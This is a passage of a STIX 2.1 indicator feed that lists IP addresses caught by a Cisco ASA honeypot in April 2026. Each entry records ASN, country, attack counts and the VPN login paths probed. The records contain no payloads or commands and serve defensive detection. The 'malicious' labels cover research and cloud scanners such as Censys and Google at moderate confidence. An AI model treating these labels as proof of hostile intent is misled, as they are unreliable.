      "pattern": "[ipv4-addr:value = '23.234.113.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T10:20:10.000Z",
      "valid_until": "2026-05-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-25T09:22:26.394Z",
          "last_seen": "2026-04-30T03:03:42.596Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: JP; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--79eb4006-fac5-47f9-867a-206a1c0b27a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.216.10.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T10:20:10.000Z",
      "valid_until": "2026-05-27T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T09:26:20.750Z",
          "last_seen": "2026-04-25T09:26:24.259Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cgi-bin/authLogin.cgi HTTP/1.1\" 404 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--0f100ead-1d8d-4151-bdf4-bca7c3728177",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T12:20:10.000Z",
      "valid_until": "2026-05-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-25T12:08:51.751Z",
          "last_seen": "2026-04-25T12:08:54.754Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /cgi-bin/authLogin.cgi HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b1d788ef-9ca5-4efc-9792-902a786c184d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T12:20:10.000Z",
      "valid_until": "2026-05-27T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T12:09:34.659Z",
          "last_seen": "2026-04-25T12:09:41.846Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T13:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--ddf341ab-b265-4e44-99b3-6d29268fe495",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:20:17.000Z",
      "valid_until": "2026-05-27T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-25T13:17:12.797Z",
          "last_seen": "2026-04-25T13:27:39.277Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T13:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 209372 (WS Telecom Inc)",
      "id": "indicator--77975123-4a07-410b-8f7d-954d2476096f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '89.19.57.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:20:17.000Z",
      "valid_until": "2026-05-27T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-25T12:34:05.927Z",
          "last_seen": "2026-04-25T12:34:06.537Z",
          "country": "United States",
          "country_code": "US",
          "asn": 209372,
          "as_org": "WS Telecom Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5ff2fb01-c675-4e8e-a4ce-82d7fd7b8acd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:20:10.000Z",
      "valid_until": "2026-05-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-25T13:50:13.099Z",
          "last_seen": "2026-04-29T10:42:29.483Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--35157e30-fbab-4322-a753-2ce82305fb91",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:20:10.000Z",
      "valid_until": "2026-05-27T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-25T14:08:34.787Z",
          "last_seen": "2026-04-28T00:51:43.917Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--b76707c0-e039-4eb3-9d73-ebd29423a5dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:20:10.000Z",
      "valid_until": "2026-05-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T14:28:37.028Z",
          "last_seen": "2026-04-25T14:28:46.300Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--9724abe9-96d3-4ed5-9f11-98082dd92592",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:20:10.000Z",
      "valid_until": "2026-05-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T14:45:53.393Z",
          "last_seen": "2026-04-25T14:45:59.513Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b9f79264-9c2d-4fd4-9830-238f11bed6a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:20:10.000Z",
      "valid_until": "2026-05-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-25T15:03:22.428Z",
          "last_seen": "2026-04-29T14:46:06.416Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--52f75795-04cf-4139-bb98-de13fdc2f8d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:20:10.000Z",
      "valid_until": "2026-05-27T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T14:32:00.091Z",
          "last_seen": "2026-04-25T14:32:08.086Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--aeb44b96-0ae8-4a86-a2e1-f8c610d67453",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:20:11.000Z",
      "valid_until": "2026-05-27T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-19T08:19:21.096Z",
          "last_seen": "2026-04-27T17:54:04.014Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 2914 (NTT America, Inc.)",
      "id": "indicator--2f439cb5-f5fb-4858-ba01-d2ea5981cf75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.153.162.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:20:11.000Z",
      "valid_until": "2026-05-27T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-25T15:47:55.998Z",
          "last_seen": "2026-04-25T15:47:56.814Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 2914,
          "as_org": "NTT America, Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--405248a0-7b9d-40d9-b2e5-0408cb85ebb8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.53.142.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:20:10.000Z",
      "valid_until": "2026-05-28T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T00:53:11.024Z",
          "last_seen": "2026-04-26T00:53:11.024Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--6edf90db-c1a0-4fae-aa3d-c00fc65e26d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.208.191.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:20:10.000Z",
      "valid_until": "2026-05-28T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-26T00:59:56.703Z",
          "last_seen": "2026-04-26T00:59:56.703Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a01666cb-bea7-4cfb-bd74-80af47c1b904",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.93.19.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:20:10.000Z",
      "valid_until": "2026-05-28T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-26T00:52:34.055Z",
          "last_seen": "2026-04-26T00:52:37.056Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--ec3d7b87-f5ff-48f3-a002-62f16cc1b3fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '164.90.132.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T02:20:05.000Z",
      "valid_until": "2026-05-28T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-26T01:51:07.182Z",
          "last_seen": "2026-04-26T01:51:14.584Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T02:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--2243b288-c1df-4558-bf89-cfd48c1879ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T02:20:05.000Z",
      "valid_until": "2026-05-28T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-26T02:10:38.296Z",
          "last_seen": "2026-04-26T02:10:41.300Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T05:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d6264ab3-23df-481b-89da-e761c0bca2a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:20:05.000Z",
      "valid_until": "2026-05-28T05:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-26T04:45:06.035Z",
          "last_seen": "2026-04-30T01:30:47.299Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T05:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--f1381559-e52b-4710-b0c5-d53912475ca6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:20:05.000Z",
      "valid_until": "2026-05-28T05:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-26T04:50:26.980Z",
          "last_seen": "2026-04-26T04:53:22.556Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-26T06:20:10.000Z",
